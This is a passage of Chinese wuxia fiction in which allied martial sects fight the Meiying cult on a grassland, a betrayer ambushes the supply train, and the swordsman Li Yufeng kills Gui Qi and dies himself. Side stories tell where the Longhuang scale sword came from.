草野之上,魅影教几乎是倾巢出动,除了魅影左使和冥火堂留守总坛外,其他的,魅影右使、三大长老、七大堂主还有教主骷魅全部在此处伏击中原武林主力 幽狼派这边也一样,公孙皓骑着一匹超巨型魔狼,立在阵前,威风凛凛的藐视着七大门派,派中高手,也都骑着巨型魔狼,拿着长枪,立在公孙皓身后,剩下的教徒,则拿着大刀,跟在队伍的最后面。 谷月清大惊,但也很快释然,兵者诡道也。之前,并没有收到先锋部队遭遇伏击的消息,想来是他们大意了,没有发现魅影教的伏击,当下,只盼浮生长老他们没事儿才好。 “来的好,省的我们再去总坛找。”秋殇一叶看了眼谷月清,接着紧握渊龙杖往地上一杵,满是战意的说道。身后白马寺的弟子也都握紧了木棍,警惕着对面。 青菱师太杜菱将绑起的长鞭松开,紧握手中,向前甩了两下,摆开长鞭,严肃的看了眼身边的于婉,再看了看身后豫蛇教教徒,没有说话,但豫蛇教的弟子都领会了师傅的意思,纷纷拔出剑来,跟着大师姐江雨潇的脚步,来到青菱师太身旁,于婉当然也没落下,也拔出长剑,摆开攻势。 空涧庄蔡彧大喊道:“架琴!”接着,也不多话,迅速摆好宝琴,跪坐在地,随时准备施展琴功,而他身后,空涧庄的弟子,内力高深、琴艺高湛者,也摆好琴,跪坐在地,内力一般者,则拔出剑,摆出攻势立在阵前。 剑阁阁主章玄大喊一声:“列阵!”当下剑阁弟子皆握紧长剑,整齐化一列出一个雁形阵来。 百药宗毒门的弟子则在杜冥的带领下,个个手持着飞镖、飞针,想来,飞镖、飞针上涂有百药宗毒门的剧毒,即是沾上分毫,后果也是不堪设想的。 主力部队中,几十个武功高强的散修也都摆出了攻势,随时准备冲向敌阵! 看到人山人海的魅影教和幽狼派,武林众派的人表情很严肃,并不是被对面的气势吓到了,而是大家都清楚,这场恶战将比百年前五大门派围攻琼剑山的那场战还要险恶十倍不止,个个都打起精神来,没有丝毫松懈。 大战一触即发,但谁也没有先动手,这时,魅影教主骷魅骑着一匹白马,脱离队伍,向七大门派走来。 看到骷魅过来了,谷月清看了看左右的各派掌门、长老。杜菱、秋殇、蔡彧等掌门长老都对谷月清点点头。 谷月清也不推脱,骑着一匹黑马,脱离队伍,向骷魅走去,此时有多平静,之后的大战就有多惨烈。 另一边,辎重部缓慢的向主力部队靠拢,因为处在队伍的最后,关伟和杜济、狐肃等人防守得很松懈,完全没有注意到危险正在瞧瞧靠近。 只听,队伍后方传来阵阵马蹄声,关伟握紧大刀喊道:“有敌人,备战!”当下,青龙帮众皆抖擞精神,提起大刀,警惕四周。 这时,一队骑军出现在部队身后——乃是赤影帮! 张延在身后喊道:“关帮主,是我,赤影帮张延,受武林盟主之命,特来相助!” 关伟定睛一看,真是张延他们,面对昔日的老战友,关伟松懈下来,示意门徒放下大刀,他哪知,赤影帮早已尽数投靠魅影教,当下,青龙帮和百药宗药门的弟子已然处在危险之中,但事实上,这里最危险的人,可并不是张延。 当下,赤影帮的人马,都端着长枪,面露笑容,不快不慢的向关伟他们走来,相隔只剩两百米、一百五十米、一百米…… 第七十八章 青云剑客 魅影教总坛: 冥火堂将李御风等人紧紧围住,看戏的鬼岐,一边吃桃,一边调侃道:“别浪费力气了,你们的内力已经被峡谷里的毒瘴封存了。” 林奕湘冷哼一声,取出长鞭来,甩了两下,试试手。当下虽然内力被封,用不了功法,但还可以用武术。身后胡啸也握紧双拳,摆开攻势。 李御风自然也没落下,拔出长剑警惕着四周,但他与林奕湘等人不同,他的内力并没有丧失,依然可以正常使用,可为什么其他人的内力都被封住了,唯独李御风的内力没被封呢? 然而,更尴尬的是,李御风内力虽然没有被封,但对他来说,根本没什么大用!事实上,李御风根本不懂剑法,行走江湖,全靠他强劲、凌厉的剑术! 看着正在吃桃子的鬼岐,不禁想到进谷前,自己也曾随手摘下一个桃子,吃了几口,当时,还被韦凌峰阻拦过:“莫非,那些桃子可解此毒!?” “李大侠,你在嘀咕什么?”林奕湘问道。 “林夫人,我的内力好像并没有丧失,我觉得,应该是我之前吃了谷外桃子的原因,那些教徒身上估计会有桃子,你们想办法抢些来吃下吧,说不定有用。”李御风冷静说道。 这时,鬼岐丢掉桃核,大喊道:“动手!一个不留,全部杀了!” 冥火堂众悉数出动,向包围圈中的三人砍去。本以为他们没了内力,实力会大幅下减,很快便会死在乱刀之下,然而,鬼岐低估了他们的实力。 当下,林奕湘和胡啸长老虽用不了内力,但武力并不低,两人在江湖上皆是有头有脸的人物,实力自不赘述。 当下,冥火堂教众四面攻来,林奕湘挥舞长鞭,三五下,便将左右两边的敌人击倒在地。胡啸则赤身肉拳,将后方来敌击退。 攻势最猛的,当属正前方,第一轮进攻,便直接冲上来八个壮汉,皆提刀向李御风砍来,李御风丝毫不慌,拔出长剑,剑套一丢,便直接冲向人群,步伐灵巧、身法轻盈,冥火堂教众的攻势全被李御风躲过,一剑、两剑、三剑、四剑,他一边快步向前,一边朝周围随意砍了四剑,只听剑套落地声毕,四个魅影教徒紧跟着倒在地上,竟全部是被割喉而死。 李御风没有停下,继续快步向前,仍只是随意的挥了几剑,但所经之处,却没留下半个活口,皆被割喉而亡,当下,又死了四个。 见到李御风如此神勇,胡啸、林奕湘等人也满是斗志,与敌人厮杀起来。 冥火堂教众大惊,又有十余人头铁,冲了上去,但仍只有一个下场,见血封喉,数息过后,这十余人全数毙命。攻势渐止,魔教妖人不约而同的向后退了几步,谁也不敢再冲上去招惹李御风。 后方坐镇的冥火堂堂主大怒,李御风杀了这么多弟子,他作为堂主自然不能忍,当下,提着大刀便向李御风砍去。 李御风早有防备,一个横闪,轻易躲过,冥火堂主见势便又是一个横劈,劈向李御风,李御风不但不躲,反而迎面跳起,一脚踩在冥火堂主刀上,借住冥火堂主挥出的大刀,他直接跳到了冥火堂主背后,冥火堂主忙转身防守,但为时已晚,刚转过头来,李御风便是一剑,仍是一记见血封喉。 事实上,以冥火堂主的实力,绝不应该只两回合便被击杀,刚才,他太大意了,二十个教徒被李御风惨杀,使得他失去了理智,心里只想着报仇,一个劲儿的进攻,却忘记了防守,加上进攻的招式还破绽百出,偶然的失败便成了必然。 这下,一旁“看戏”的鬼岐坐不住了,一个瞬身化作一团黑烟,来到李御风面前十米处,拔出七魂剑指着李御风问道:“在下魅影左使——鬼岐,敢问阁下名号” 李御风也将剑向前指着鬼岐,说道:“青云剑客——李御风。” “青云剑客?”鬼岐笑了笑,说道:“我记得你,在剑术方面,你很卓越,很出色,我们两比一下吧,若你能打赢我,我或许愿意称你为青云剑仙!”话罢,鬼岐提起剑向前刺去。 李御风不屑一笑,没有犹豫,也提起剑迎了上去。 当下两剑相撞,打斗了十多回合,看起来胜负难分,招式皆大同小异,攻守相当,似乎再缠斗个百余合也是胜负难分。 其实不然,鬼岐已明显感觉到有些吃力,事实上,他的招式,无论攻守,总是慢了半分,再缠斗下去,必输无疑! 果然,接下来的比拼中,差距越拉越大,鬼岐连连败退,完全招架不住。 剑术上不能取胜,干脆,比比力气好了!鬼岐竖起剑,劈砍下去,李御风早有防备,横剑当下。 鬼岐道:“想不到阁下的剑术如此卓绝,果然,练剑还得看天赋才是!” 李御风道:“那你可就错了,我剑术的天赋并不高,我师父说过,我是他教过的弟子中,最没天赋的那个。” 鬼岐汗颜,一脸不信。 李御风接着说道:“对于天赋不佳的人,有两条路可走,突破极限,或者,输给自己,我只是不想输给自己罢了!”话罢,李御风猛的用力,竟反压住鬼岐,鬼岐大惊,立刻在剑上注入大量内力,李御风见状,也在剑上注入了大量内力,但内力薄弱的他,完全不是鬼岐的对手,李御风料敌不过,只好收回剑,向后退了几步,鬼岐顺势挥出剑上剑气,向李御风击去,李御风向旁急闪躲过。 剑术、力气、内力都比过了,当下,该比剑法了! 鬼岐再是一个瞬身,直接闪到二十米外,七魂剑起,使出凌空剑法第七式来,七柄虚剑从七魂剑中飞出,直击李御风。 李御风微微一笑,丝毫不慌。讲道理,毫无剑法的他理论上是绝防不了的,只能快速换位,依靠身法躲闪,然而,此刻的他,却并没有要退却半步的意思。 只见,七剑飞近,快到李御风身前时,迅速汇聚成一把巨型长剑,径直刺向李御风。 但李御风仍不闪躲,连鬼岐都懵了,眼下长剑近身,李御风一不闪躲,二不施剑法格挡,难不成,是要自寻短见不成? 只见李御风挥剑向前,竟用手中实剑与鬼岐的虚剑相撞。但诡异的是,它们并没有发生任何碰击,李御风手中的长剑分毫未损,而那柄巨型虚剑在撞上李御风的长剑后,居然被其尽数吸收,依附在剑上,为李御风所用。 李御风再一挥剑,那巨型虚剑脱离剑身,向鬼岐击去。鬼岐大惊,只得再施七元归一挡下。 鬼岐仔细看了看李御风的剑,刚才还觉得很平常,现在看来,却是蹊跷得很:“这是何剑?为何能吸收我的功法?” 李御风大笑:“这剑乃是我在司州游历时,一高人所赠,我唤它,龙皇剑!” 再看这剑,剑身由两部分构成,左边坚硬光亮,大概是由寻常的精铁所铸,右边纹理很粗糙,颜色却很金亮,这材质的来头可不小,乃是江湖上久负盛名,却早已失踪的龙皇鳞。 【番外】侠义之道 “发如韭,剪复生” “头如鸡,割复鸣” “吏不必可畏,小民从来不可轻” …… “举秀才,不知书” “举孝廉,父别居” “寒素清白浊如泥,高第良才怯如鸡” …… “去去去,哪儿来的一群小屁孩儿,再敢瞎唱,砍了你们!” “听见没!赶紧滚!” “还有你们这些到处摆摊的,谁允许你们摆的!交够钱才有资格摆摊,把东西都给我留下,钱攒够了再到府衙赎回!” “官爷,对不起,对不起,我们这就走,别扣我们东西啊。” “滚开,要么给钱,要么把东西给我留下!” 高楼偏台上,一青年喝着小茶,注视着凶神恶煞的官兵撵走孩童、欺辱百姓不禁感叹道:“如今,宦官当道,十常侍作乱,党锢之祸至今未解,朝堂上下一片乌烟瘴气!再加上天公不作美,大旱三年,千里赤地,百姓收成大减,朝廷赋税却不减,可笑矣!可悲矣!。” 青年正对面,坐着一位俊俏少年,目光明晰坚韧,紧握着手中茶杯,一言不发。 “昭相雪,事实如棋,只剩十五步了,看这棋势,你好像快守不住了,将军!” 少年回过神来,冷静分析着眼前棋势,小心翼翼的移动棋子防守着。 “再将!” 少年抬手拭去额头的汗水,不是因为紧张,而是正值酷暑,燥热所致。 青年人几番进攻,皆被少年巧妙破解,现下,已过七十五步,若是皆下来的五步,不能绝杀少年,那输的便是自己了。 青年喝了口茶,镇定下来,小心分析起当下局势,细看半天,大惊失色!摇摇头,放下手中棋子:“我输了。” “李大侠,下棋就下棋,咋喜欢聊天呢。” 少年名叫昭相雪,而这青年,名叫李御风。 李御风尴尬一笑:“我这不是想分散你注意力嘛!你不上套啊!罢了罢了,下不过你,我认输。” 昭相雪笑了笑:“我这棋,可是跟我舅学的,不差吧。” 李御风再笑道:“怪不得,我是说这棋,路子咋这么熟呢,好了,说正事吧,马元义派你到京都来做甚?” 昭相雪:“贿赂宦官,他们想到皇城来立脚。” “只怕不止立脚这么简单吧,莫不是,意图社稷?” 昭相雪摇摇头:“不好说,不过,朝中有很多官员信奉那张角,假以时日,必受其害。” 李御风:“那你可得盯紧了,中原若乱,那魅影教必不会闲着。” 昭相雪点点头:“李大侠,可有查到鬼俈下落?” 李御风点点头,但又马上摇摇头。 “魅影教蛰伏乌桓百余年,早已发展为拥有数千教徒的大派,教内防备深严,不好查啊。” “那可如何是好,我母亲、舅舅可不能白死,这仇必须得报!” “当然得报,不过,话说回来,当年的事,真相到底如何还两说,硬要说鬼俈是凶手,那他为何要放跑你和你爹,这完全解释不通啊。” 昭相雪一脸恼火:“既不是郑坨,亦不是鬼俈,那凶手还会是谁呢?那人说有血债,到底是什么血债啊!” “或许,这才是解开谜团的关键。”李御风顿了顿再说道:“难不成,是剑阁?” “剑阁?” 李御风,司州人士,少年混迹街景与洛寻天相识,尝纠集不良,仿山野强盗洗劫过往小贩,并非真欲作恶,不过图一时之乐耳,洗劫商贩所得皆分与城中乞丐,说两人大奸大恶,倒也不尽然。某日午时,李御风与洛寻天闲着无事,再做起打劫的勾当,殊不知,这一次的商贩来头可不小,乃是剑阁在司州的分坛! 那场打斗,不必赘述,年纪轻轻的两人岂能是久经江湖的剑阁弟子对手,没几回合便重伤落败,几欲死去,说来也算他们命好,恰逢此时,百药宗宗主杜悬在司州讲学,洛择怀与其是旧识,随请其医治。这些伤在寻常医师眼中,那以是无药可救,但到了杜悬手上,不过是小菜一碟耳,只三天的医治,便双双脱离生命危险,伤势痊愈不过时间问题耳。 休养一月后,李御风不辞而别,或许是因为他害自己的兄弟陷入危险境地而感到羞愧,所以离去,又或者是洛择怀气上心头,将他赶走,具体原因为何,说不清楚,只知,李御风去了剑阁,拜章云为师…… 李御风摇摇头再说道:“不应该啊,剑阁与洛家世代交好,当年之事只是误会而已,剑阁弟子根本没人放在心上啊,再说了,就算结了仇,也远没到血债这等程度啊。” 昭相雪点点头,突然说到:“我在想,会不会,并不是舅舅与人结的仇。” 李御风恍然大悟:“你的意思是,洛泽怀前辈?物是人非,那可就不好查了啊。” …… 两人饮茶谈事,时间流逝飞快,天色渐渐黑下: “昭相雪,我可得提醒你,太平道的思想很危险,你可别被洗脑了。” 昭相雪点点头:“放心吧,我会注意的。” “好,我希望,你能像你舅舅那样,成为一名侠士,无论如何,永远保持一颗侠义之心。” “不是说,只有救下天下苍生,被万人敬仰的人,才有资格被称为侠士吗?舅舅只能称其为侠客吧。” 李御风大笑道:“并非拯救天下苍生的才能被称为侠士,而是,因为是侠士,所以要尽力拯救天下苍生!” 昭相雪若有所思,一脸懵逼:“这,有什么不同吗?” 李御风再大笑起来:“自己悟吧,总有一天,你会明白的。天色不早了,早点休息吧。” 第七十九章 鬼岐之死,剑客称仙 所谓龙皇鳞,其实只是块石头,相传,战国时期,蜀地降下一块小陨石,只有巴掌大小,因外形美丽,被蜀地官员拿走研究,竟发现此石有吸收功法的能力,秦王知道后,将此石取名为龙皇鳞,并则令蜀地郡守早日送来咸阳,然而,龙皇鳞能吸收功法的能力早已传遍江湖,不少门派竟挺而走险打劫皇物,最终官兵没能守住,龙皇鳞失窃,但诡异的是,它并没有在江湖上流传、成名,反而是从此消失在江湖,谁拿走了它?不得而知…… 至于,沉寂江湖数百年的龙皇麟为何会落入李御风手中,那可就得从另一段往事说起了。 当下,李御风宝剑有如此变态的功能,鬼岐自然不敢再比剑法,当下,只能再比剑术了,或许,凭借万幻影诀第七重的加持,鬼岐能有些许赢面。 鬼岐提起剑再次向李御风击去,李御风毫不退让,也提起剑向鬼岐击去。 另一边,冥火堂的教众在韦凌峰的带领下,已经将林奕湘和胡啸等人逼至死角。 胡啸朝林奕湘使了个眼色,一个箭步便冲上去,杀退众人,韦凌峰见了,忙挥动血滴子攻击胡啸,林奕湘领会其意,没有去帮胡啸,而是迅速冲到一个魅影教死者身前,万幸,真摸出一个桃子来,林奕湘毫不犹豫,迅速狼吞虎咽起来,赌一把,就赌桃子是这毒瘴的解药。 韦凌峰大惊,迅速撇开胡啸,挥舞血滴子向林奕湘攻去,但为时已晚,恢复内力的林奕湘功力大增,一个横鞭甩开韦凌峰的血滴子,再一挥鞭,直接将十几名魅影教徒击倒在地…… 另一边,李御风行走江湖多年,全靠剑术,比剑术,鬼岐哪儿能是他的对手,所幸,鬼岐有万幻影诀的加持,稍有破绽,便施功退去,倒也能立于不败之地。 当下,鬼岐又露出破绽,李御风挥剑巧妙绕过鬼岐的防势,一剑横砍,朝鬼岐左手砍去,鬼岐一个瞬身消失在原地,再出现时,已闪到李御风身后,将剑向前扫去,却被李御风向前急跳一步,惊险躲过。 躲过之后,李御风也不迟疑,回身便是一刺,二十多个回合的打斗,也让李御风摸索出一些规律来,鬼岐的瞬身术虽然无解,但却不能连续发动,一般要间隔个五、六回合,才能再次发动。所以,必须得在五回合之内打败他,否则,危险的便是李御风自己。 当下,李御风一个突刺,被鬼岐横挡抬起,李御风扭转剑向,改为横批,向鬼岐右手部劈去,鬼岐立马竖起七魂剑,将李御风的龙皇剑推开。 两回合过去了,攻势没有一点儿拓展,突然,李御风想到了什么,提剑一个竖砍,砍向鬼岐,鬼岐横起剑挡下,场面一度僵持起来。 想比力气?不可能,鬼岐自知力气上敌不过李御风,急忙往里面注入些内力,但这一次,内力的比拼并没有像之前一样,压过李御风,相反,鬼岐的防守更加吃力了,原来,鬼岐注入的内力全被李御风的龙皇剑吸走了。 鬼岐大惊,竟忘了这茬儿,说起了,之前,龙皇剑之所以没能吸收鬼岐注入七魂剑上的内力,是因为李御风之前一直在用精铁部分进攻,但这次不同,李御风用的是龙皇石部分,所以,内力的比拼上能产生两种截然不同的结果。 当下,鬼岐处于严重劣势,被压倒半身,竟欲弃剑逃脱,李御风当然不会给他这个机会,只见李御风右手仍紧握龙皇剑向下压,左手迅速抽出腰间的一把小剑,提剑划向鬼岐颈部。 李御风冷哼一声,看来,还是我赢了呢! 万万没想到,这一剑,竟再次扑了个空,关键时刻,鬼岐也丢掉了七魂剑,强行施动了万幻影诀的第七重,瞬身闪到了李御风身后,邪魅一笑,左手拿出一枚飞镖,朝李御风刺去。 这一次,李御风大意了,大半飞镖刺入了李御风后背,鬼岐并没罢休,竟握着飞镖旋转起来…… 巨大的绞痛从后背传来,但李御风仍没有放弃。说时迟那时快,李御风忍着剧痛,握紧龙皇剑,毫不犹豫,竟朝自己腹部刺去! 只见,龙皇剑穿过了李御风的身体,亦刺中了鬼岐,李御风刺得很用力,很迅速,整只剑全部穿过自身,半部穿过鬼岐身体…… 鬼岐腹部出大量鲜血,向后踉踉跄跄退了几步,几个魅影教众立马上前,将他扶起。 “撤退~撤退~”鬼岐嘴角流出鲜血,沙哑的喊道。 当下魅影教徒和韦凌峰退至总坛,迅速通过暗道撤离。 暗道之内,鬼岐对亲信说道:“我不行了,把剑~还给教主。”话罢,鬼岐闭上了眼。 “左护法!”“左护法!” 鬼岐身受重伤,纵是杜悬在世,只怕也是无力回天。众人将鬼岐平放在地,行了教礼后,迅速从暗道撤离。 这时,峡谷之外的浮生方丈见里面久久没有反应,十分着急,带着弟子们冲了进去。但为时已晚。 院里,满是魅影教尸体,胡啸长老、林奕湘身上满是伤痕、浑身血迹,而李御风神智不清,双眼迷离,已是回天乏术。 “帮我……把,这信,给,昭相,雪,告诉他,永怀,侠义之道……”李御风双眼一闭,再没醒来。 林奕湘接过信,点点头,怒喊道“韦凌峰是叛徒!赤影帮背叛了我们!” 浮生方丈怒不可遏,佛杖往地上一杵,吩咐道:“搜索四周,凡魅影教众,格杀勿论!” …… 主力部: 谷月清骑着一匹黑马,骷魅骑着一匹白马,相隔二十米时,两人同时停下。 谷月清道:“魔教销匿百年,何必再起战事,涂炭生灵?” “张口魔教、闭口魔教,我们到底哪儿做得不对,你们中原门派要联合起来,围攻我们一派,百年前如此,百年后亦如此。” “你们做了什么自己心里清楚!八仙门一万多条人命,你们说杀就杀,这还不是魔教吗!现在,中原门派亲如兄弟,你们没有胜算的,乘早投降吧!” “亲如兄弟?”骷魅邪魅一笑道:“我看未必吧。” 【番外】龙皇鳞 延熹十年(公元167年)十二月初七至初九,蜀地暴雨倾盆,连下三日,江河高涨,洪灾泛滥。然而,天灾之下,铜马沟却发生了一件极其古怪的事——洪水从李家镇流到铜马沟时,竟在一坟墓前分了流,远远看起来,仿佛是有一种神力强行劈开了这股洪流。更诡异的是,分流后的洪水在流过那处坟墓之后,竟又重新汇流了,要是那坟墓地势高点儿倒也不怪,可那处墓穴的地势平坦无比,洪水完全没理由绕过此地! 洪水退去后,郡守亲自前来拜会这神奇的墓穴,原来,这墓穴大有来头,乃是几百年前,蜀郡太守李冰之墓,众所周知,李冰是战国时代着名的水利工程专家。任蜀郡太守期间,曾修建过都江堰水利工程,使得成都平原成为了天府之国,众人这才“见怪不怪”,疯传蜀郡太守李冰成了天神,在天上继续保佑着蜀地百姓免受洪流…… 这时,有个叫杜冥的青年人,自幼体弱多病,父母因无力医治,遂将只有两岁的他抛弃在了山野,说来也巧,正好被进山菜药的百药宗宗主杜悬看见,宅心仁厚、医术高超的杜悬将他抱了回来,悉心照顾,最后,不仅治好了他的病,还给他赐名杜冥,收入百药宗门下。 无父无母的杜冥天不怕地不怕,不拜天地,也不信鬼神,当下,消息传入他的耳中,他自是一字不信,决定亲自拜会李冰墓地,一探究竟。 那天晚上,月亮迟迟没有出来,夜色比以往所有时刻都要暗淡一些,李冰墓前来了一个不速之客,正是杜冥,他可不是光在外面看看就能了事儿的主,他要下墓,说来也是地公作美,李冰墓地因年久失修,背后竟裂开了一个大口子,刚好可以容纳一人下墓,杜冥四顾无人后,最终独自下了墓…… 然而,那夜之后,杜冥却性情大变,原本心地善良、崇尚发展医术救人的他,自那天以后,不再关注医术,而是大力发展起毒术,遭受师兄痛骂阻拦后,杜冥仍不悔改,最后更是自立门户,成立了百药宗毒门,自此百药宗分为药门和毒门两门,药门门主是大弟子杜济,毒门门主则是二弟子杜冥。杜济经常在弟子面前痛骂师弟杜冥是小人、是叛徒,却始终没有发现到师弟杜冥的左手在一夜之间变成了一只干瘦露骨的骷髅手。至于那夜到底发生了何事,无从查知…… 司州,一客栈内: 藏榆身着一身粗布麻衣独自坐在角落里喝酒 “小二,没酒了,上酒!” 一小二慢慢走来,上下打量了一番藏榆衣着:“客官,你已经喝了两轮了,要不?先把这酒钱结了吧。” “怎么?我还会赖你这点儿酒钱不成?上酒!”藏榆一边说着,一边拿出钱袋放在桌上。 小二笑了笑:“谢客官,这就给你上酒。”一边说着,一边将手伸向桌上钱袋。 藏榆见状,立马将一把长剑放在桌上,压住钱袋,看着小二摇摇头:“先上酒!” 小二尴尬的点点头,向后房走去。 “都喝了两轮了,还能喝啊。”旁边桌,一头戴斗笠,身着青色道袍的老人径直走来,坐在中年人面前。 藏榆看了看眼前这老道士,估摸着至少有六十岁,以为是来骗酒菜的,一脸不屑道:“你是何人?咱两不熟吧!” 老道士笑了笑,摘下腰间的酒葫芦,打开瓶盖,摇了摇,大口喝了起来。 闻了这酒香,藏榆兴奋的抬起了头,和善的笑看着老头儿:“老人家,这什么酒啊,怎么这么香?” “你想喝啊?” “想,想。” 不料,道士却盖上了瓶盖,将酒葫芦再系回腰间,冷冷的看着对面的藏榆:“要喝,就拿你包里的东西和贫道换。” 藏榆盯着老头儿楞了两秒,笑容渐渐凝固,迅速伸出右手,想要拿起桌上长剑,不料老道长左脚往旁边一扫,直接将桌子向旁边踢开了一米远。起身再是一掌,将对面的藏榆打倒在地。接着,他拔出了腰间长剑,指着地上的手下败将,不屑道:“东西交来,贫道可饶你一命。” 周围顾客哪还敢安心吃饭,见有人持剑,更是不敢多管,皆向外跑去,掌柜见了,也赶紧躲在柜台下,小二见了,又端着酒壶退回后房。 “你是何人?我们素不相识,你何故下此狠手!” 老头冷哼一声:“那个青年人也与你素不相识,你又何故下狠手,废他一手!” 藏榆听了,想起什么,不再反驳。老道士也不纠缠,长剑一挥,将地上的包裹挑起,大步向客栈外走去。 “老道士,可敢留下名号!” 老道士继续走着没有停下,只留下一句:“凌云谷主——叶述” 藏榆听了老道士身份后大惊失色,惊恐之余又带着些许气愤。 老道士走后,藏榆才踉踉跄跄的爬起来,捡起地上长剑,架在脖子上,竟欲自刎!这时,一团黑雾袭来,停在藏榆面前,黑雾散去竟幻化成一个身着紫色斗篷的神秘老人。 见了这人,藏榆立马放下长剑,恭恭敬敬的跪在地上。 “东西呢?” “禀教主,被一个老道士抢走了!” “老道士你都打不过?我养你何用!”话罢反手一掌便欲取其性命,那人也不反抗,颤颤巍巍的低下头,再说道:“是凌云谷主——叶述” 听了这话,神秘人停了手:“竟是他!” “你且先回总坛,等我回来再找你算账!”话罢便欲转身离去 “教主切莫大意,那叶述武功高强,可不好对付,不如等鬼岐左使到了,我们再合力击之。” 神秘人听了冷哼一声:“化境之下皆是蝼蚁,去多少人都没用,还是,让我单独会会他吧。”话罢,神秘人化作一团黑雾凭空消失。 一山野小亭里,那老道士正坐在石凳上,悠闲的喝着葫芦里的老酒,葫芦很旧,但端正刻着一个“叶”字。 突然,阵阵阴风袭来,老道的面色变得凝重起来,这时,正巧一个侠客骑着一匹白马经过,老道士笑了笑,立马将他喝住:“李御风!!此去欲往何处?” 骑马侠客背负一剑,正是青云剑客——李御风。 “叶前辈?你怎么在这儿啊?” “李御风,上次喝酒,我输给你,我说过,会赠你一件宝贝。” “哎,罢了罢了,你能有什么好宝贝。” “此宝与你绝配,送你了。”叶述轻轻一挥,一包裹飞向李御风。 “我倒要看看,是何宝贝。”李御风接下包裹,迫不及待的打开。 叶述笑了笑:“你慢慢看吧,我还有事,先走一步。”话罢,御剑离去。 李御风喃喃道:“能有什么好东西?这么重,不会是金子吧!正好换酒喝!”包裹拆开,一阵耀眼金光照来,竟是龙皇鳞! 第八十章 草野之战 辎重部: 赤影帮的骑兵已至青龙帮、百药宗身前,然而,他们并没有要放慢脚步,停下的意思,当下,全部端起长枪,冲入辎重部队中,一顿杀戮。 防备松懈的青龙帮百药宗毫无抵抗之力,被赤影帮的骑兵大杀四方,或死于战马铁蹄之下、或死于长枪突击之下…… “张延,你这狗贼!”看到惨死的兄弟们,关伟大怒,提着刀便向张延砍去。 两人交战数十合,关伟怒火中烧愈战愈勇,竟将张延砍得人仰马翻! “大哥,我来助你了。”说此话者,正是赤影帮三把手屠岸冥。 “关帮主,我也来助你!”关伟循声看去,乃是听风阁狐肃提剑杀来。 “多谢狐阁主相助!” 关伟回过头,怒目视向张延、屠岸冥,只听一声剑响,一把长剑刺穿关伟后背。 “关帮主,没人告诉过你了吗?即使是最亲近之人,也只可许他站在身旁,永远别把后背留给他人!”狐肃取出剑,一脚踢开关伟。接着,屠岸冥一骑突过,一个横刺,将关伟刺倒在地。 百药宗的弟子没什么武力,纷纷丢掉辎重,跟随杜济快速撤退,向主力部队靠拢,青龙帮的则迅速化作两部分,一部随杜济逃走,一部自发留下来死战断后。 赤影帮也分成了两部分,一半跟着屠岸冥追击杜济,一半留下来跟着张延、狐肃打扫战场,幸好中途有陡峭山路阻拦,骑兵马不能行,要追只能弃马来赶,屠岸冥不敢冒险,只得撤回…… 另一边,草野之上 骷魅抬头看了看天,阴沉沉的天空,似乎在预示着一场阴谋和血战,骷魅笑道:“如果时间没算错的话,你们队伍后方的辎重部,应该已经被杀得一个不剩了。” 谷月清大惊,没想到他们的部队分布竟全在骷魅的掌握之中。 看着骷魅身后密密麻麻的人群,谷月清满脸不信:“你还有多余的人马狙击我们的辎重部吗?” 骷魅大笑:“当然,赤影帮不是没来嘛。”语调极尽阴狠! “赤影帮?!” 谷月清大惊,回头看了看,后方辎重部的位置,竟传来阵阵狼烟,此狼烟,正是谷月清与杜济当初约定的,若辎重部受到攻击,点起烽烟,主力部自会快速回头救援! 当下情况紧急,谷月清也不再纠缠,拍马回阵,骷魅并不阻拦,也拍马回阵去。 回到阵上,谷月清大骂:“赤影帮投靠魅影教,偷袭了我们的辎重部!” “什么!?”青菱师太大惊,其他众人也是一脸震惊、愤怒。 “大家别乱了阵脚,只是多了个赤影帮耳,章阁主,你赶快带剑阁的弟子回援,或许还来得及!”谷月清对剑阁阁主章玄说道。 “好。”章玄带着剑阁弟子立刻动身,向辎重部救去。 看见七大门派这边人马减少,鬼魅笑了笑,准备发起总攻。 “教主,时机刚好,进攻吧。”钦铉在身后提醒道。 骷魅回身,环顾下身后的教众,皆精神抖擞,满是战意! 骷魅道:“中原武林欠我们的,该还回来了,让他们好好看看,天下第一大派该有的实力!” “千秋万代!魅影不败!日月星辰!魅影永存!”教众们齐声喊道。 “杀!”骷魅发令道。 “杀~”教众云集响应,皆拿着武器冲了上去…… 公孙皓提起战戟向前一挥,身后巨魔狼骑兵亦纷纷响应,端起长枪、战戟冲向中原武林…… 看着如江潮般涌来的敌人,中原武林没有一人胆怯退后,大家都知道,这将是一场血战,早已做好了战死的准备。 谷月清冲在最前,剑法一施,踩在一把巨大的虚剑上,朝魔教飞去,与此同时身边还围绕着六把虚剑。 空涧庄的在队伍后面架起琴弹着悦耳的琴音,给冲锋的友军提供功力加持。 豫蛇教、白马寺的弟子则紧跟在谷月清后面,向敌阵突去。 百药宗毒门的则在队伍的中间,利用沾毒的暗器帮助友军战斗。 当下,两军相接,各处混战。内力一般的,比拼兵器、武术。内力高强的,则比拼内力、功法。 战场很快分割开来,凌云谷主谷月清与魅影教主骷魅相对、豫蛇教主青菱师太与魅影教三长老岷湮相对、白马寺长老秋殇一叶和幽狼派狼主公孙皓相对、苏起和枯恂联手对抗魅影右使鬼俈、空涧庄主蔡彧对魔教大长老钦铉、百药宗毒门门主杜冥对魔教二长老藏榆。于婉、江雨潇等各派高手、散修则与魅影教各堂主、高手相对。 “年轻人,杀气不要太重。”谷月清对骷魅说道。 “我经历的苦难,可不是你能想象的。”表面上,骷魅只是个三十四岁的青年,但事实上,经万幻珠的洗礼,他的记忆已经综合几代人的经历,从初代教主无冥到上任教主紫阎王,魅影教百多年的荣辱辛酸全部印在骷魅脑海里。 当下,骷魅化作一团黑雾,消失在原地,瞬息下,骷魅便出现在谷月清身后,一掌朝他后背拍去。 这时,围绕在谷月清身上的六柄虚剑迅速转动,骷魅的掌波与其中的一把相撞,两相抵散。 谷月清回身刺去一剑,却被骷魅一个瞬身躲开,再出现时,已闪到谷月清左边,又是一掌拍去,此处正是刚才虚剑与掌波相撞,两相抵散的空位处,前面说过,六柄虚剑是在不停旋转的,所以,空位原本在后方,现在却转到了左边。当下,谷月清左边无防,骷魅速度极快,一掌拍去,谷月清根本躲闪不开。 所幸谷月清早有防备,事先在身上聚了层气功罩,当下,掌气打在气功罩上,两相抵散。 谷月清万万没想到,骷魅只两掌,便将自己防身的底牌给击破了,再这样缠斗下去,必输无疑,必须得调整下守势了。谷月清架着虚剑,飞落回地上,原本当脚力的那柄虚剑立马化小飞起,补到空位上。接着,谷月清再施功法:“云霄九剑第八式——啸河吞江!” 